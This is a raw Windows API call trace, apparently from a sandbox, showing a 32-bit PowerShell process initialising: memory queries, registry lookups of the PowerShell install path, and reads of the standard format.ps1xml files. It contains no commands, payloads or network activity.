	[0083.423] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.423] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.424] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.424] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.424] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.425] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.425] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.426] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.426] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.426] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.427] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.430] VirtualQuery (in: lpAddress=0xed9b8, lpBuffer=0xee9b8, dwLength=0x1c | out: lpBuffer=0xee9b8*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.430] VirtualQuery (in: lpAddress=0xed9b8, lpBuffer=0xee9b8, dwLength=0x1c | out: lpBuffer=0xee9b8*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.430] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.431] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.571] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.571] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.572] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.574] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0083.574] GetLastError () returned 0xcb
	[0083.586] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.601] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.601] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.602] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.602] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.603] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.603] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.606] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.608] VirtualQuery (in: lpAddress=0xed9b4, lpBuffer=0xee9b4, dwLength=0x1c | out: lpBuffer=0xee9b4*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeeb3c | out: phkResult=0xeeb3c*=0x338) returned 0x0
	[0083.612] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeba4, lpData=0x0, lpcbData=0xeeba0*=0x0 | out: lpType=0xeeba4*=0x1, lpData=0x0, lpcbData=0xeeba0*=0x74) returned 0x0
	[0083.612] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeb84, lpData=0x0, lpcbData=0xeeb80*=0x0 | out: lpType=0xeeb84*=0x1, lpData=0x0, lpcbData=0xeeb80*=0x74) returned 0x0
	[0083.613] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0xeeb84, lpData=0x617f50, lpcbData=0xeeb80*=0x74 | out: lpType=0xeeb84*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xeeb80*=0x74) returned 0x0
	[0083.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0xee704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a
	[0083.613] GetLastError () returned 0xcb
	[0083.613] SetErrorMode (uMode=0x1) returned 0x1
	[0083.613] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0xeeb84 | out: lpFileInformation=0xeeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0083.613] GetLastError () returned 0xcb
	[0083.613] SetErrorMode (uMode=0x1) returned 0x1
	[0083.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.614] GetLastError () returned 0xcb
	[0083.614] SetErrorMode (uMode=0x1) returned 0x1
	[0083.614] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1
	[0083.614] GetLastError () returned 0xcb
	[0083.615] SetErrorMode (uMode=0x1) returned 0x1
	[0083.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.615] GetLastError () returned 0xcb
	[0083.615] SetErrorMode (uMode=0x1) returned 0x1
	[0083.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1
	[0083.616] GetLastError () returned 0xcb
	[0083.616] SetErrorMode (uMode=0x1) returned 0x1
	[0083.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.616] GetLastError () returned 0xcb
	[0083.616] SetErrorMode (uMode=0x1) returned 0x1
	[0083.616] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1
	[0083.616] GetLastError () returned 0xcb
	[0083.616] SetErrorMode (uMode=0x1) returned 0x1
	[0083.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.617] GetLastError () returned 0xcb
	[0083.617] SetErrorMode (uMode=0x1) returned 0x1
	[0083.617] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1
	[0083.617] GetLastError () returned 0xcb
	[0083.617] SetErrorMode (uMode=0x1) returned 0x1
	[0083.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
	[0083.617] GetLastError () returned 0xcb
	[0083.617] SetErrorMode (uMode=0x1) returned 0x1
	[0083.617] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1
	[0083.617] GetLastError () returned 0xcb
	[0083.618] SetErrorMode (uMode=0x1) returned 0x1
	[0083.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.618] GetLastError () returned 0xcb
	[0083.618] SetErrorMode (uMode=0x1) returned 0x1
	[0083.618] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1
	[0083.618] GetLastError () returned 0xcb
	[0083.618] SetErrorMode (uMode=0x1) returned 0x1
	[0083.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
	[0083.618] GetLastError () returned 0xcb
	[0083.618] SetErrorMode (uMode=0x1) returned 0x1
	[0083.618] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1
	[0083.619] GetLastError () returned 0xcb
	[0083.619] SetErrorMode (uMode=0x1) returned 0x1
	[0083.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
	[0083.619] GetLastError () returned 0xcb
	[0083.619] SetErrorMode (uMode=0x1) returned 0x1
	[0083.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1
	[0083.620] GetLastError () returned 0xcb
	[0083.620] SetErrorMode (uMode=0x1) returned 0x1
	[0083.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
	[0083.620] GetLastError () returned 0xcb
	[0083.620] SetErrorMode (uMode=0x1) returned 0x1
	[0083.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xeeb78 | out: lpFileInformation=0xeeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1
	[0083.620] GetLastError () returned 0xcb
	[0083.620] SetErrorMode (uMode=0x1) returned 0x1
	[0083.621] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0083.621] GetLastError () returned 0xcb
	[0083.639] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0083.639] GetLastError () returned 0xcb
	[0083.640] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0083.640] GetLastError () returned 0xcb
	[0083.641] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0083.641] GetLastError () returned 0xcb
	[0083.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.641] GetLastError () returned 0xcb
	[0083.641] SetErrorMode (uMode=0x1) returned 0x1
	[0083.641] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.641] GetLastError () returned 0x0
	[0083.641] GetFileType (hFile=0x308) returned 0x1
	[0083.641] SetErrorMode (uMode=0x1) returned 0x1
	[0083.642] GetFileType (hFile=0x308) returned 0x1
	[0083.642] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.654] GetLastError () returned 0x0
	[0083.655] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.655] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.656] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.656] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.656] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.656] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x9e2, lpOverlapped=0x0) returned 1
	[0083.656] GetLastError () returned 0x0
	[0083.656] ReadFile (in: hFile=0x308, lpBuffer=0x2d7deca, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7deca*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.657] GetLastError () returned 0x0
	[0083.657] ReadFile (in: hFile=0x308, lpBuffer=0x2d7e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d7e948*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.657] GetLastError () returned 0x0
	[0083.657] CloseHandle (hObject=0x308) returned 1
	[0083.657] GetLastError () returned 0x0
	[0083.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.657] GetLastError () returned 0x0
	[0083.657] SetErrorMode (uMode=0x1) returned 0x1
	[0083.657] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2d8fa04 | out: lpFileInformation=0x2d8fa04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1
	[0083.657] GetLastError () returned 0x0
	[0083.657] SetErrorMode (uMode=0x1) returned 0x1
	[0083.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.657] GetLastError () returned 0x0
	[0083.657] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
